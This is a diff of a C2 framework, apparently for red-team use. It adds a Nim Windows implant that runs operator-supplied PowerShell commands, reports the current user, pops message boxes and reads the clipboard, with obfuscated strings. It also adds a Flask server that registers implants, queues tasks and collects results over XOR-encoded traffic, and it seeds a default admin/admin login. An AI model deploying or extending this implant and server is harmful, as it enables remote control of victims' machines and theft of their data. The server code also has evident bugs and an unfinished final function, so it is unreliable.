||||||
|
result = s
|
||||||
78
implants/tombili/src/windows.nim
Normal file
78
implants/tombili/src/windows.nim
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
import osproc
|
||||||
|
import posix
|
||||||
|
import json
|
||||||
|
import winim/lean
|
||||||
|
import winim/inc/lm
|
||||||
|
import winim/utils
|
||||||
|
import threadpool
|
||||||
|
|
||||||
|
import utils
|
||||||
|
|
||||||
|
proc shell*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task["args"].getElems
|
||||||
|
var command: string = args[0].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
var commandOutput: string
|
||||||
|
(commandOutput, _) = execCmdEx(obf("powershell ") & command)
|
||||||
|
return commandOutput
|
||||||
|
|
||||||
|
except:
|
||||||
|
return obf("Failed to run the command")
|
||||||
|
|
||||||
|
proc whoami*(task: JsonNode): string =
|
||||||
|
try:
|
||||||
|
var buffer = newWString(UNLEN + 1)
|
||||||
|
var cb = DWORD buffer.len
|
||||||
|
|
||||||
|
GetUserNameW(&buffer, &cb)
|
||||||
|
buffer.setLen(cb - 1)
|
||||||
|
|
||||||
|
return $buffer
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get the current user: ") & e.msg
|
||||||
|
|
||||||
|
proc spawnMsgbox(body: string, title: string): void =
|
||||||
|
discard MessageBox(0, body, title, 0)
|
||||||
|
|
||||||
|
proc msgBox*(task: JsonNode): string =
|
||||||
|
var args: seq[JsonNode] = task["args"].getElems
|
||||||
|
var title: string = args[0].getStr
|
||||||
|
var body: string = args[1].getStr
|
||||||
|
|
||||||
|
try:
|
||||||
|
spawn spawnMsgbox(body, title)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to display the message box: ") & e.msg
|
||||||
|
|
||||||
|
proc getClipboard*(task: JsonNode): string =
|
||||||
|
try:
|
||||||
|
if OpenClipboard(0) == 0:
|
||||||
|
return obf("Unable to open the clipboard")
|
||||||
|
|
||||||
|
if IsClipboardFormatAvailable(CF_UNICODETEXT) == 0:
|
||||||
|
CloseClipboard()
|
||||||
|
return ""
|
||||||
|
|
||||||
|
let hClipboardData = GetClipboardData(CF_UNICODETEXT)
|
||||||
|
if hClipboardData == 0:
|
||||||
|
CloseClipboard()
|
||||||
|
return obf("Failed to get the clipboard")
|
||||||
|
|
||||||
|
let pchData = GlobalLock(hClipboardData)
|
||||||
|
if pchData == nil:
|
||||||
|
CloseClipboard()
|
||||||
|
return obf("Failed to get the clipboard")
|
||||||
|
|
||||||
|
let clipboardText = $cast[LPWSTR](pchData)
|
||||||
|
|
||||||
|
discard GlobalUnlock(hClipboardData)
|
||||||
|
CloseClipboard()
|
||||||
|
|
||||||
|
return clipboardText
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return obf("Failed to get the clipboard: ") & e.msg
|
||||||
2
server/.dockerignore
Normal file
2
server/.dockerignore
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
.env
|
||||||
|
.env.*
|
||||||
18
server/Dockerfile
Normal file
18
server/Dockerfile
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
FROM python:3.12-slim
|
||||||
|
|
||||||
|
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
PYTHONUNBUFFERED=1 \
|
||||||
|
PIP_NO_CACHE_DIR=1 \
|
||||||
|
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY requirements.txt ./
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt gunicorn==23.0.0
|
||||||
|
|
||||||
|
COPY altin/ ./altin/
|
||||||
|
|
||||||
|
RUN useradd --create-home --uid 10001 altin && chown -R altin:altin /app
|
||||||
|
USER altin
|
||||||
|
|
||||||
|
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:${ALTIN_PORT:-3000} --workers 1 --threads 4 --access-logfile - --error-logfile - altin:app"]
|
||||||
22
server/altin/__init__.py
Normal file
22
server/altin/__init__.py
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
from flask import Flask, request
|
||||||
|
from flask_cors import CORS
|
||||||
|
|
||||||
|
from .config import load_config, validate_config
|
||||||
|
|
||||||
|
load_config()
|
||||||
|
validate_config()
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
|
||||||
|
from .database import init_db
|
||||||
|
init_db()
|
||||||
|
|
||||||
|
from .c2_routes import c2_routes
|
||||||
|
from .management_routes import management_routes
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
CORS(app, resources={r'/api/*': {'origins': '*'}})
|
||||||
|
|
||||||
|
app.register_blueprint(c2_routes)
|
||||||
|
app.register_blueprint(management_routes)
|
||||||
72
server/altin/agent.py
Normal file
72
server/altin/agent.py
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
from .database import Agent, Task, TaskResult, Key
|
||||||
|
import json
|
||||||
|
import uuid
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
ACTION_CHECKIN = 1
|
||||||
|
ACTION_REGISTER = 2
|
||||||
|
ACTION_TASK_RESULT = 3
|
||||||
|
|
||||||
|
STATUS_ERROR = 0
|
||||||
|
STATUS_CONTINUE = 1
|
||||||
|
STATUS_TASKS = 2
|
||||||
|
STATUS_REGISTER = 3
|
||||||
|
STATUS_INVALID = 4
|
||||||
|
|
||||||
|
def create_agent(implant_id: str, ip: str, os: str, commands: list) -> None:
|
||||||
|
Agent.create(implant_id=str(implant_id), ip=str(ip), os=str(os), commands=str(json.dumps(commands)))
|
||||||
|
|
||||||
|
def is_agent(implant_id: str, ip: str) -> bool:
|
||||||
|
return(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip)).exists())
|
||||||
|
|
||||||
|
def get_agent_id(implant_id: str, ip: str) -> str:
|
||||||
|
return(str(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip))[0].id))
|
||||||
|
|
||||||
|
def get_active_tasks(agent_id: str) -> list[dict]:
|
||||||
|
tasks = []
|
||||||
|
|
||||||
|
for task in Task.select().where((Task.agent == agent_id) & (Task.completed == False)):
|
||||||
|
tasks.append({
|
||||||
|
"task_id": str(task.id),
|
||||||
|
"task": str(task.task),
|
||||||
|
"args": json.loads(task.args)
|
||||||
|
})
|
||||||
|
|
||||||
|
return(tasks)
|
||||||
|
|
||||||
|
def mark_task_sent(task_id: str) -> None:
|
||||||
|
Task.update(sent=True).where(Task.id == uuid.UUID(task_id)).execute()
|
||||||
|
|
||||||
|
def log_task_result(task_id: str, result: str) -> None:
|
||||||
|
TaskResult.create(task=uuid.UUID(task_id), result=str(result))
|
||||||
|
Task.update(completed=True).where(Task.id == uuid.UUID(task_id)).execute()
|
||||||
|
|
||||||
|
def update_last_checkin(agent_id: str) -> None:
|
||||||
|
Agent.update(last_checkin=datetime.now()).where(Agent.id == agent_id).execute()
|
||||||
|
|
||||||
|
def validate_commands(commands: list) -> bool:
|
||||||
|
command_names = []
|
||||||
|
|
||||||
|
for command in commands:
|
||||||
|
if 'command' in command and 'description' in command and 'args' in command:
|
||||||
|
if command['command'] in command_names: # Duplicate command name
|
||||||
|
return(False)
|
||||||
|
|
||||||
|
command_names.append(command['command'])
|
||||||
|
|
||||||
|
arg_names = []
|
||||||
|
for arg in command['args']:
|
||||||
|
if 'name' in arg and 'arg_type' in arg and 'description' in arg and 'required' in arg:
|
||||||
|
|
||||||
|
if arg['name'] in arg_names: # Duplicate argument name
|
||||||
|
return('False')
|
||||||
|
|
||||||
|
arg_names.append(arg['name'])
|
||||||
|
|
||||||
|
else: # Invalid argument keys
|
||||||
|
return(False)
|
||||||
|
|
||||||
|
else: # Invalid command keys
|
||||||
|
return(False)
|
||||||
|
|
||||||
|
return(True)
|
||||||
24
server/altin/auth.py
Normal file
24
server/altin/auth.py
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
from flask import request, jsonify
|
||||||
|
from functools import wraps
|
||||||
|
import jwt
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
|
||||||
|
def login_required(f):
|
||||||
|
@wraps(f)
|
||||||
|
def login_required_decorator(*args, **kwargs):
|
||||||
|
if 'Authorization' not in request.headers:
|
||||||
|
return(jsonify({'message': 'Authorization header required'}), 401)
|
||||||
|
|
||||||
|
try:
|
||||||
|
decoded_token = jwt.decode(request.headers['Authorization'], config['jwt_secret'], algorithms=["HS256"])
|
||||||
|
|
||||||
|
except jwt.ExpiredSignatureError:
|
||||||
|
return(jsonify({'message': 'Invalid authorization'}), 401)
|
||||||
|
|
||||||
|
except jwt.InvalidTokenError:
|
||||||
|
return(jsonify({'message': 'Invalid authorization'}), 401)
|
||||||
|
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
return(login_required_decorator)
|
||||||
111
server/altin/c2_routes.py
Normal file
111
server/altin/c2_routes.py
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
from flask import Blueprint, request
|
||||||
|
import json
|
||||||
|
|
||||||
|
from .database import Key
|
||||||
|
from . import agent
|
||||||
|
|
||||||
|
c2_routes = Blueprint('c2_routes', __name__)
|
||||||
|
|
||||||
|
def xor_data(key: str, data: str) -> str:
|
||||||
|
xored = ''
|
||||||
|
|
||||||
|
for i in range(len(data)):
|
||||||
|
xored += chr(ord(data[i]) ^ ord(key[i % len(key)]))
|
||||||
|
|
||||||
|
return(xored)
|
||||||
|
|
||||||
|
@c2_routes.route('/', defaults={'path': ''}, methods=['POST'])
|
||||||
|
@c2_routes.route('/<path:path>', methods=['POST'])
|
||||||
|
def c2_catchall(path: str):
|
||||||
|
encrypted_data = request.data.decode('utf-8')
|
||||||
|
|
||||||
|
found_key = False
|
||||||
|
agent_key = ''
|
||||||
|
data = None
|
||||||
|
|
||||||
|
for key in Key.select():
|
||||||
|
try:
|
||||||
|
decrypted_data = xor_data(key.key, encrypted_data)
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
data = json.loads(decrypted_data)
|
||||||
|
except:
|
||||||
|
# Invalid json
|
||||||
|
pass
|
||||||
|
|
||||||
|
found_key = True
|
||||||
|
agent_key = str(key.key)
|
||||||
|
break
|
||||||
|
|
||||||
|
# Return empty response if no key is found
|
||||||
|
if not found_key or not data:
|
||||||
|
return('')
|
||||||
|
|
||||||
|
if 'implant_id' not in data or 'ip' not in data or 'action' not in data:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "requst must conain an `implant_id`, `ip`, and `action` keys"}'))
|
||||||
|
|
||||||
|
# Agent action
|
||||||
|
if data['action'] == agent.ACTION_REGISTER:
|
||||||
|
if 'registration' not in data:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "registration action request must include a `registration` key"}'))
|
||||||
|
|
||||||
|
# Check if this agent is already registered
|
||||||
|
if agent.is_agent(data['implant_id'], data['ip']):
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + ', "message": "already registered"}'))
|
||||||
|
|
||||||
|
# Validate commands
|
||||||
|
if not agent.validate_commands(data['registration']['commands']):
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "invalid commands"}'))
|
||||||
|
|
||||||
|
agent.create_agent(data['implant_id'], data['ip'], data['registration']['os'], data['registration']['commands'])
|
||||||
|
|
||||||
|
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||||
|
agent.update_last_checkin(agent_id)
|
||||||
|
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||||
|
|
||||||
|
elif data['action'] == agent.ACTION_CHECKIN:
|
||||||
|
if not agent.is_agent(data['implant_id'], data['ip']):
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
|
||||||
|
|
||||||
|
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||||
|
agent.update_last_checkin(agent_id)
|
||||||
|
|
||||||
|
if agent_id == None:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_ERROR) + ', "message": "something went wrong"}'))
|
||||||
|
|
||||||
|
active_tasks = agent.get_active_tasks(agent_id)
|
||||||
|
|
||||||
|
# If there aren't any tasks, just continue
|
||||||
|
if len(active_tasks) == 0:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||||
|
|
||||||
|
# Mark the tasks sent
|
||||||
|
for task in active_tasks:
|
||||||
|
agent.mark_task_sent(task['task_id'])
|
||||||
|
|
||||||
|
return(xor_data(agent_key, '{"status": ' + json.dumps(agent.STATUS_TASKS) + ', "tasks": ' + json.dumps(active_tasks) + '}'))
|
||||||
|
|
||||||
|
elif data['action'] == agent.ACTION_TASK_RESULT:
|
||||||
|
if not agent.is_agent(data['implant_id'], data['ip']):
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
|
||||||
|
|
||||||
|
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||||
|
agent.update_last_checkin(agent_id)
|
||||||
|
|
||||||
|
if 'result' not in data:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result action request must include a `result` key"}'))
|
||||||
|
|
||||||
|
# Validate the result
|
||||||
|
if 'task_id' not in data['result'] or 'result' not in data['result']:
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result must contain a `task_id` and `result` key"}'))
|
||||||
|
|
||||||
|
# Log the result to the database
|
||||||
|
agent.log_task_result(data['result']['task_id'], data['result']['result'])
|
||||||
|
|
||||||
|
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||||
|
|
||||||
|
else:
|
||||||
|
return(xor_data(agent_key, f'{"status": {agent.STATUS_INVALID}, "message": "invalid action"}'))
|
||||||
45
server/altin/config.py
Normal file
45
server/altin/config.py
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
import os
|
||||||
|
from dotenv import load_dotenv
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
def load_config() -> None:
|
||||||
|
global config
|
||||||
|
|
||||||
|
load_dotenv()
|
||||||
|
|
||||||
|
try:
|
||||||
|
config = {
|
||||||
|
'port': int(os.environ.get('ALTIN_PORT', default=3030)),
|
||||||
|
'database': str(os.environ.get('ALTIN_DATABASE', default='sqlite')),
|
||||||
|
'db_path': str(os.environ.get('ALTIN_SQLITE_PATH', default='altin.db')),
|
||||||
|
'db_db': str(os.environ.get('ALTIN_PGSQL_DATABASE', default=None)),
|
||||||
|
'db_host': str(os.environ.get('ALTIN_PGSQL_HOST', default=None)),
|
||||||
|
'db_port': str(os.environ.get('ALTIN_PGSQL_PORT', default=None)),
|
||||||
|
'db_user': str(os.environ.get('ALTIN_PGSQL_USER', default=None)),
|
||||||
|
'db_password': str(os.environ.get('ALTIN_PGSQL_PASSWORD', default=None)),
|
||||||
|
'jwt_secret': str(os.environ.get('ALTIN_JWT_SECRET', default=None))
|
||||||
|
}
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f'Failed to load config: {e}')
|
||||||
|
quit(1)
|
||||||
|
|
||||||
|
def validate_config() -> None:
|
||||||
|
global config
|
||||||
|
|
||||||
|
valid = True
|
||||||
|
message = ''
|
||||||
|
|
||||||
|
if config['database'] not in ['sqlite', 'postgres']:
|
||||||
|
message += 'ALTIN_DATABASE must be `sqlite` or `postgres`\n'
|
||||||
|
valid = False
|
||||||
|
|
||||||
|
if not config['jwt_secret']:
|
||||||
|
message += 'ALTIN_JWT_SECRET must be set\n'
|
||||||
|
valid = False
|
||||||
|
|
||||||
|
if not valid:
|
||||||
|
print('Invalid config!')
|
||||||
|
print(message)
|
||||||
|
quit(1)
|
||||||
123
server/altin/database.py
Normal file
123
server/altin/database.py
Normal file
@ -0,0 +1,123 @@
|
|||||||
|
import peewee
|
||||||
|
import uuid
|
||||||
|
import json
|
||||||
|
from datetime import datetime
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
|
||||||
|
if config['database'] == 'sqlite':
|
||||||
|
db = peewee.SqliteDatabase(config['db_path'], pragmas={'journal_mode': 'wal'})
|
||||||
|
|
||||||
|
if config['database'] == 'postgres':
|
||||||
|
db = peewee.PostgresqlDatabase(
|
||||||
|
config['db_db'],
|
||||||
|
host=config['db_host'],
|
||||||
|
port=int(config['db_port']) if config['db_port'] not in (None, 'None') else 5432,
|
||||||
|
user=config['db_user'],
|
||||||
|
password=config['db_password']
|
||||||
|
)
|
||||||
|
|
||||||
|
class Agent(peewee.Model):
|
||||||
|
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||||
|
implant_id = peewee.CharField(null=False)
|
||||||
|
ip = peewee.CharField(null=False)
|
||||||
|
os = peewee.CharField(null=False)
|
||||||
|
commands = peewee.TextField(null=False)
|
||||||
|
tags = peewee.TextField(null=False, default='[]')
|
||||||
|
last_checkin = peewee.DateTimeField(null=False, default=datetime.now)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return({
|
||||||
|
'id': self.id,
|
||||||
|
'implant_id': self.implant_id,
|
||||||
|
'ip': self.ip,
|
||||||
|
'os': self.os,
|
||||||
|
'commands': json.loads(self.commands),
|
||||||
|
'tags': json.loads(self.tags),
|
||||||
|
'last_checkin': self.last_checkin
|
||||||
|
})
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'agents'
|
||||||
|
|
||||||
|
class Task(peewee.Model):
|
||||||
|
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||||
|
agent = peewee.ForeignKeyField(Agent, 'id', null=False, on_delete='CASCADE')
|
||||||
|
task = peewee.CharField(null=False)
|
||||||
|
args = peewee.TextField(null=False, default='[]')
|
||||||
|
sent = peewee.BooleanField(null=False, default=False)
|
||||||
|
completed = peewee.BooleanField(null=False, default=False)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return({
|
||||||
|
'id': self.id,
|
||||||
|
'agent': str(self.agent),
|
||||||
|
'task': self.task,
|
||||||
|
'args': json.loads(self.args),
|
||||||
|
'sent': self.sent,
|
||||||
|
'completed': self.completed
|
||||||
|
})
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'tasks'
|
||||||
|
|
||||||
|
class TaskResult(peewee.Model):
|
||||||
|
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||||
|
task = peewee.ForeignKeyField(Task, 'id', null=False, on_delete='CASCADE')
|
||||||
|
result = peewee.TextField(null=True)
|
||||||
|
timestamp = peewee.DateTimeField(null=False, default=datetime.now)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return({
|
||||||
|
'id': self.id,
|
||||||
|
'task': str(self.task),
|
||||||
|
'result': self.result,
|
||||||
|
'timestamp': str(self.timestamp)
|
||||||
|
})
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'task_results'
|
||||||
|
|
||||||
|
class Key(peewee.Model):
|
||||||
|
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||||
|
name = peewee.CharField(null=False)
|
||||||
|
key = peewee.CharField(null=False)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return({
|
||||||
|
'id': self.id,
|
||||||
|
'name': self.name,
|
||||||
|
'key': self.key
|
||||||
|
})
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'keys'
|
||||||
|
|
||||||
|
class User(peewee.Model):
|
||||||
|
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||||
|
username = peewee.CharField(null=False)
|
||||||
|
password = peewee.CharField(null=False)
|
||||||
|
admin = peewee.BooleanField(null=False, default=False)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return({
|
||||||
|
'id': self.id,
|
||||||
|
'username': self.username,
|
||||||
|
'admin': self.admin
|
||||||
|
})
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'user'
|
||||||
|
|
||||||
|
def init_db() -> None:
|
||||||
|
db.create_tables([Agent, Task, TaskResult, Key, User])
|
||||||
|
|
||||||
|
# Default user check
|
||||||
|
if not User.select().where(User.username == 'admin').exists():
|
||||||
|
User.create(username='admin', password=hashlib.sha512('admin'.encode('utf-8')).hexdigest(), admin=1)
|
||||||
314
server/altin/management_routes.py
Normal file
314
server/altin/management_routes.py
Normal file
@ -0,0 +1,314 @@
|
|||||||
|
from flask import Blueprint, request, jsonify
|
||||||
|
import json
|
||||||
|
import hashlib
|
||||||
|
import jwt
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
from .database import Agent, Task, TaskResult, Key, User
|
||||||
|
from .auth import login_required
|
||||||
|
|
||||||
|
management_routes = Blueprint('management_routes', __name__)
|
||||||
|
|
||||||
|
# Login
|
||||||
|
@management_routes.route('/api/login', methods=['POST'])
|
||||||
|
def login():
|
||||||
|
if 'username' not in request.json or 'password' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
user = User.select().where((User.username == request.json['username']) & (User.password == hashlib.sha512(request.json['password'].encode('utf-8')).hexdigest()))
|
||||||
|
|
||||||
|
if not user.exists():
|
||||||
|
return(jsonify({'message': 'Invalid username or password'}), 401)
|
||||||
|
|
||||||
|
now = datetime.now()
|
||||||
|
|
||||||
|
token = jwt.encode({'user_id': user[0].id, 'admin': user[0].admin, 'iat': now, 'exp': now+timedelta(days=1)}, config['jwt_secret'], algorithm='HS256')
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Success', 'token': token}), 200)
|
||||||
|
|
||||||
|
# Agents
|
||||||
|
@management_routes.route('/api/agents', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def get_agents():
|
||||||
|
agents = []
|
||||||
|
|
||||||
|
query = Agent.select()
|
||||||
|
|
||||||
|
if 'ip' in request.args:
|
||||||
|
query = query.where(Agent.ip == request.args['ip'])
|
||||||
|
|
||||||
|
if 'implant' in request.args:
|
||||||
|
query = query.where(Agent.implant_id == request.args['implant'])
|
||||||
|
|
||||||
|
if 'os' in request.args:
|
||||||
|
query = query.where(Agent.os == request.args['os'])
|
||||||
|
|
||||||
|
for agent in Agent.select():
|
||||||
|
agents.append(agent.serialize())
|
||||||
|
|
||||||
|
return(jsonify({'agents': agents}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/agents/<agent_id>', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def get_agent(agent_id: str):
|
||||||
|
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||||
|
|
||||||
|
if not agent:
|
||||||
|
return(jsonify({'message': 'No such agent'}), 404)
|
||||||
|
|
||||||
|
return(jsonify(agent.serialize()), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/agents/<agent_id>', methods=['DELETE'])
|
||||||
|
@login_required
|
||||||
|
def delete_agent(agent_id: str):
|
||||||
|
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||||
|
|
||||||
|
if not agent:
|
||||||
|
return(jsonify({'message': 'No such agent'}), 404)
|
||||||
|
|
||||||
|
for task in Task.select().where(Task.agent_id == agent.id):
|
||||||
|
TaskResult.delete().where(TaskResult.task_id == task.id).execute()
|
||||||
|
task.delete().execute()
|
||||||
|
|
||||||
|
agent.delete().execute()
|
||||||
|
|
||||||
|
|
||||||
|
return(jsonify({'message': 'The agent was deleted'}), 204)
|
||||||
|
|
||||||
|
@management_routes.route('/api/agents/<agent_id>/tags', methods=['POST'])
|
||||||
|
@login_required
|
||||||
|
def tag_agent(agent_id: str):
|
||||||
|
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||||
|
|
||||||
|
if not agent:
|
||||||
|
return(jsonify({'message': 'No such agent'}), 404)
|
||||||
|
|
||||||
|
if 'tags' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
tags = request.json['tags']
|
||||||
|
|
||||||
|
if type(tags) != list:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
agent_tags = json.loads(agent.tags)
|
||||||
|
|
||||||
|
for tag in tags:
|
||||||
|
if tag not in agent_tags:
|
||||||
|
agent_tags.append(tag)
|
||||||
|
|
||||||
|
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Agent updated'}), 201)
|
||||||
|
|
||||||
|
@management_routes.route('/api/agents/<agent_id>/tags', methods=['DELETE'])
|
||||||
|
@login_required
|
||||||
|
def untag_agent(agent_id: str):
|
||||||
|
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||||
|
|
||||||
|
if not agent:
|
||||||
|
return(jsonify({'message': 'No such agent'}), 404)
|
||||||
|
|
||||||
|
if 'tags' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
tags = request.json['tags']
|
||||||
|
|
||||||
|
if type(tags) != list:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
agent_tags = json.loads(agent.tags)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Agent updated'}), 201)
|
||||||
|
|
||||||
|
# Tasks
|
||||||
|
@management_routes.route('/api/tasks', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def get_tasks():
|
||||||
|
tasks = []
|
||||||
|
|
||||||
|
query = Task.select()
|
||||||
|
|
||||||
|
if 'id' in request.args:
|
||||||
|
query = query.where(Task.agent_id == request.args['id'])
|
||||||
|
|
||||||
|
if 'agent' in request.args:
|
||||||
|
query = query.where(Task.agent_id == request.args['agent'])
|
||||||
|
|
||||||
|
if 'sent' in request.args:
|
||||||
|
if request.args['sent'].lower() == 'true':
|
||||||
|
query = query.where(Task.sent == True)
|
||||||
|
elif request.args['sent'].lower() == 'false':
|
||||||
|
query = query.where(Task.sent == False)
|
||||||
|
else:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
if 'completed' in request.args:
|
||||||
|
if request.args['completed'].lower() == 'true':
|
||||||
|
query = query.where(Task.completed == True)
|
||||||
|
elif request.args['completed'].lower() == 'false':
|
||||||
|
query = query.where(Task.completed == False)
|
||||||
|
else:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
for task in query:
|
||||||
|
tasks.append(task.serialize())
|
||||||
|
|
||||||
|
return(jsonify({'tasks': tasks}), 200)
|
||||||
|
|
||||||
|
# Task results
|
||||||
|
@management_routes.route('/api/task-results', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def get_taskresults():
|
||||||
|
results = []
|
||||||
|
|
||||||
|
query = TaskResult.select()
|
||||||
|
|
||||||
|
if 'id' in request.args:
|
||||||
|
query = query.where(TaskResult.id == request.args['id'])
|
||||||
|
|
||||||
|
if 'task_id' in request.args:
|
||||||
|
query = query.where(TaskResult.task == request.args['agent'])
|
||||||
|
|
||||||
|
for result in query:
|
||||||
|
results.append(result.serialize())
|
||||||
|
|
||||||
|
return(jsonify({'results': results}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/tasks', methods=['POST'])
|
||||||
|
@login_required
|
||||||
|
def create_task():
|
||||||
|
if 'agent_id' not in request.json or 'command' not in request.json or 'args' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
query = Agent.select().where(Agent.id==request.json['agent_id'])
|
||||||
|
|
||||||
|
|
||||||
|
if len(query) == 0:
|
||||||
|
return(jsonify({'message': 'No such agent'}), 404)
|
||||||
|
|
||||||
|
commands_json = json.loads(query[0].commands)
|
||||||
|
|
||||||
|
for command in commands_json:
|
||||||
|
if command['command'] == request.json['command']:
|
||||||
|
user_args = request.json['args']
|
||||||
|
required_args = 0
|
||||||
|
|
||||||
|
for arg in command['args']:
|
||||||
|
if arg['required'] == True:
|
||||||
|
required_args += 1
|
||||||
|
|
||||||
|
if len(user_args) != required_args:
|
||||||
|
return(jsonify({'message': 'Invalid command arguments'}), 404)
|
||||||
|
|
||||||
|
Task.create(agent=request.json['agent_id'], task=request.json['command'], args=json.dumps(user_args))
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Task sent'}), 201)
|
||||||
|
|
||||||
|
return(jsonify({'message': 'Invalid task'}), 400)
|
||||||
|
|
||||||
|
# Keys
|
||||||
|
@management_routes.route('/api/keys', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def get_keys():
|
||||||
|
keys = []
|
||||||
|
for key in Key.select():
|
||||||
|
keys.append(key.serialize())
|
||||||
|
|
||||||
|
return(jsonify({'keys': keys}), 200)
|
||||||
|
|
||||||
|
@management_routes.route('/api/keys', methods=['POST'])
|
||||||
|
@login_required
|
||||||
|
def create_key():
|
||||||
|
if 'key' not in request.json or 'name' not in request.json:
|
||||||
|
return(jsonify({'message': 'Invalid request'}), 400)
|
||||||
|
|
||||||
|
name = request.json['name']
|
||||||
|
key = request.json['key']
|
||||||
|
|
||||||
|
if Key.select().where(Key.name==name).exists():
|
||||||
|
return(jsonify({'message': 'A key with that name already exists'}))
